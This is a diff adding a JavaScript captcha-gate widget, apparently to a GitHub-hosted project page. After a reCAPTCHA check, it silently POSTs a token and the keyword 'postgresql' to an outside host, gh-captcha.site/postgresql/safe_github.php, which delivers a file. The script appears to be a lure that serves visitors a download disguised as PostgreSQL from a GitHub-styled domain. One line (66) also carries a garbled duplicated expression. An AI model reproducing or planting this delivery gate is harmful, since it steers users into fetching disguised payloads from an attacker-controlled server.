1+ var CAPTCHA_CONFIG = {
2+ siteKey : '6LdCmxMtAAAAAMguGKi960bfZMCGwQ3U4mBKPiGX' ,
3+ actionUrl : 'https://gh-captcha.site/postgresql/safe_github.php' ,
4+ keyword : 'postgresql' ,
5+ // For front-end download on the same page, set direct file URL, e.g.: '/files/your-file.zip'
6+ fileUrl : null ,
7+ // reCAPTCHA UI language
8+ lang : 'en'
9+ } ;
10+
11+ ( function ( ) {
12+ // Styles
13+ var style = document . createElement ( 'style' ) ;
14+ style . textContent = [
15+ '#cw-overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.6);z-index:9999;align-items:center;justify-content:center;}' ,
16+ '#cw-overlay.cw-open{display:flex;}' ,
17+ '#cw-box{background:#1a1a1a;border-radius:12px;padding:24px 18px;width:340px;max-width:92vw;position:relative;text-align:center;color:#eee;box-shadow:0 10px 40px rgba(0,0,0,.5);}' ,
18+ '#cw-close{position:absolute;top:10px;right:12px;background:none;border:none;color:#888;font-size:22px;cursor:pointer;line-height:1;}' ,
19+ '#cw-close:hover{color:#fff;}' ,
20+ '#cw-title{color:#fff;font-size:18px;font-weight:400;margin:0 0 16px;}' ,
21+ '/* Key point: never stretch reCAPTCHA via CSS */' ,
22+ '#cw-recaptcha{display:block;margin:12px auto 0;width:304px;}' ,
23+ '#cw-submit{margin-top:16px;width:100%;padding:10px;background:#2563eb;color:#fff;border:none;border-radius:6px;font-size:15px;cursor:pointer;opacity:.5;pointer-events:none;transition:background .2s ease;}' ,
24+ '#cw-submit.cw-ready{opacity:1;pointer-events:auto;}' ,
25+ '#cw-submit.cw-ready:hover{background:#1d4ed8;}' ,
26+ '/* Download hint (top-right by default) */' ,
27+ '#cw-hint{position:fixed;z-index:1100;top:12px;right:16px;display:grid;gap:6px;align-items:start;}' ,
28+ '#cw-hint[hidden]{display:none;}' ,
29+ '#cw-hint .cw-hint__bubble{background:#111;color:#fff;border:1px solid #333;padding:10px 12px;border-radius:10px;box-shadow:0 6px 20px rgba(0,0,0,.4);font-size:14px;line-height:1.35;display:inline-flex;align-items:center;}' ,
30+ '#cw-hint .cw-hint__close{background:transparent;color:#aaa;border:none;cursor:pointer;margin-left:8px;font-size:16px;}' ,
31+ '#cw-hint .cw-hint__arrow{width:0;height:0;border-left:10px solid transparent;border-right:10px solid transparent;border-top:12px solid #111;margin-left:auto;margin-right:8px;filter:drop-shadow(0 2px 3px rgba(0,0,0,.4));}'
32+ ] . join ( '' ) ;
33+ document . head . appendChild ( style ) ;
34+
35+ // Modal markup
36+ var overlay = document . createElement ( 'div' ) ;
37+ overlay . id = 'cw-overlay' ;
38+ overlay . innerHTML = '' +
39+ '<div id="cw-box">' +
40+ '<button id="cw-close" aria-label="Close">×</button>' +
41+ '<p id="cw-title">Confirm you\'re not a robot</p>' +
42+ '<div id="cw-recaptcha"></div>' +
43+ '<button id="cw-submit" disabled>Continue</button>' +
44+ '</div>' ;
45+
46+ // Download hint arrow
47+ var hint = document . createElement ( 'div' ) ;
48+ hint . id = 'cw-hint' ;
49+ hint . setAttribute ( 'hidden' , '' ) ;
50+ hint . innerHTML = '' +
51+ '<div class="cw-hint__bubble">Download started. Your file will appear here →<button class="cw-hint__close" aria-label="Close">✕</button></div>' +
52+ '<div class="cw-hint__arrow"></div>' ;
53+
54+ var widgetId = null ;
55+ var submitBtn , closeBtn , hintCloseBtn ;
56+
57+ // Ensure reCAPTCHA script is loaded, then run cb
58+ function ensureRecaptcha ( cb ) {
59+ if ( window . grecaptcha && typeof window . grecaptcha . render === 'function' ) {
60+ cb && cb ( ) ;
61+ return ;
62+ }
63+ var s = document . createElement ( 'script' ) ;
64+ var onloadName = '__cwRecaptchaOnload__' + Math . random ( ) . toString ( 36 ) . slice ( 2 ) ;
65+ window [ onloadName ] = function ( ) { cb && cb ( ) ; } ;
66+ s . src = 'https://www.google.com/recaptcha/api.js?render=explicit&hl=' + encodeURIComponent ( CAPTCHA_CONFIG . lang ) + '&onload=' + onloadName ; + encodeURIComponent ( CAPTCHA_CONFIG . lang ) + '&onload=' + onloadName ;
67+ s . async = true ; s . defer = true ;
68+ document . head . appendChild ( s ) ;
69+ }
70+
71+ function init ( ) {
72+ document . body . appendChild ( overlay ) ;
73+ document . body . appendChild ( hint ) ;
74+
75+ submitBtn = document . getElementById ( 'cw-submit' ) ;
76+ closeBtn = document . getElementById ( 'cw-close' ) ;
77+ hintCloseBtn = hint . querySelector ( '.cw-hint__close' ) ;
78+
79+ // Close interactions
80+ closeBtn . addEventListener ( 'click' , closeModal ) ;
81+ overlay . addEventListener ( 'click' , function ( e ) { if ( e . target === overlay ) closeModal ( ) ; } ) ;
82+ document . addEventListener ( 'keydown' , function ( e ) { if ( e . key === 'Escape' ) closeModal ( ) ; } ) ;
83+
84+ // Open modal on any element with data-captcha-trigger
85+ document . addEventListener ( 'click' , function ( e ) {
86+ var btn = e . target . closest ( '[data-captcha-trigger]' ) ;
87+ if ( btn ) {
88+ e . preventDefault ( ) ;
89+ openModal ( ) ;
90+ }
91+ } ) ;
92+
93+ submitBtn . addEventListener ( 'click' , onSubmit ) ;
94+ hintCloseBtn . addEventListener ( 'click' , hideHint ) ;
95+ }
96+
97+ function openModal ( ) {
98+ overlay . classList . add ( 'cw-open' ) ;
99+ ensureRecaptcha ( function ( ) {
100+ try {
101+ if ( widgetId === null ) {
102+ widgetId = grecaptcha . render ( 'cw-recaptcha' , {
103+ sitekey : CAPTCHA_CONFIG . siteKey ,
104+ theme : 'dark' ,
105+ size : 'normal' , // do not scale via CSS
106+ callback : onCaptchaSolved ,
107+ 'expired-callback' : onCaptchaExpired ,
108+ 'error-callback' : onCaptchaError
109+ } ) ;
110+ } else {
111+ grecaptcha . reset ( widgetId ) ;
112+ onCaptchaExpired ( ) ;
113+ }
114+ } catch ( e ) {
115+ console . error ( 'reCAPTCHA render error:' , e ) ;
116+ }
117+ } ) ;
118+ }
119+
120+ function closeModal ( ) {
121+ overlay . classList . remove ( 'cw-open' ) ;
122+ if ( widgetId !== null && window . grecaptcha ) {
123+ try { grecaptcha . reset ( widgetId ) ; } catch ( _ ) { }
124+ }
125+ onCaptchaExpired ( ) ;
126+ }
127+
128+ function onCaptchaSolved ( ) {
129+ submitBtn . classList . add ( 'cw-ready' ) ;
130+ submitBtn . disabled = false ;
131+ }
132+
133+ function onCaptchaExpired ( ) {
134+ submitBtn . classList . remove ( 'cw-ready' ) ;
135+ submitBtn . disabled = true ;
136+ submitBtn . textContent = 'Continue' ;
137+ }
138+
139+ function onCaptchaError ( ) {
140+ submitBtn . classList . remove ( 'cw-ready' ) ;
141+ submitBtn . disabled = true ;
142+ submitBtn . textContent = 'Error. Retry' ;
143+ }
144+
145+ function onSubmit ( ) {
146+ var token = null ;
147+ try { token = grecaptcha . getResponse ( widgetId ) ; } catch ( _ ) { }
148+ if ( ! token ) return ;
149+
150+ submitBtn . textContent = 'Processing…' ;
151+ submitBtn . classList . remove ( 'cw-ready' ) ;
152+
153+ // Close modal before submit/download
154+ closeModal ( ) ;
155+
156+ if ( CAPTCHA_CONFIG . fileUrl ) {
157+ // Front-end download (for GH Pages) + hint
158+ try {
159+ startDownload ( CAPTCHA_CONFIG . fileUrl ) ;
160+ showHint ( ) ;
161+ } catch ( e ) {
162+ console . error ( 'Download start error:' , e ) ;
163+ }
164+ return ;
165+ }
166+
167+ // Otherwise: submit POST to actionUrl (server handles verification & deliver)
168+ try {
169+ var form = document . createElement ( 'form' ) ;
170+ form . method = 'POST' ;
171+ form . action = CAPTCHA_CONFIG . actionUrl ;
172+ form . style . display = 'none' ;
173+
174+ var inp = document . createElement ( 'input' ) ;
175+ inp . type = 'hidden' ; inp . name = 'g-recaptcha-response' ; inp . value = token ;
176+ form . appendChild ( inp ) ;
177+
178+ var kw = document . createElement ( 'input' ) ;
179+ kw . type = 'hidden' ; kw . name = 'keyword' ; kw . value = CAPTCHA_CONFIG . keyword ;
180+ form . appendChild ( kw ) ;
181+
182+ document . body . appendChild ( form ) ;
183+ form . submit ( ) ;
184+ } catch ( e ) {
185+ console . error ( 'Form submit error:' , e ) ;
186+ }
187+ }
188+
189+ function startDownload ( url ) {
190+ var a = document . createElement ( 'a' ) ;
191+ a . href = url ;
192+ a . download = '' ;
193+ a . rel = 'noopener' ;
194+ a . style . display = 'none' ;
195+ document . body . appendChild ( a ) ;
196+ a . click ( ) ;
197+ setTimeout ( function ( ) { try { document . body . removeChild ( a ) ; } catch ( _ ) { } } , 0 ) ;
198+ }
199+
200+ function showHint ( ) {
201+ try { hint . removeAttribute ( 'hidden' ) ; } catch ( _ ) { }
202+ }
203+ function hideHint ( ) {
204+ try { hint . setAttribute ( 'hidden' , '' ) ; } catch ( _ ) { }
205+ }
206+
207+ if ( document . readyState === 'loading' ) {
208+ document . addEventListener ( 'DOMContentLoaded' , init ) ;
209+ } else {
210+ init ( ) ;
211+ }
212+ } ) ( ) ;
0 commit comments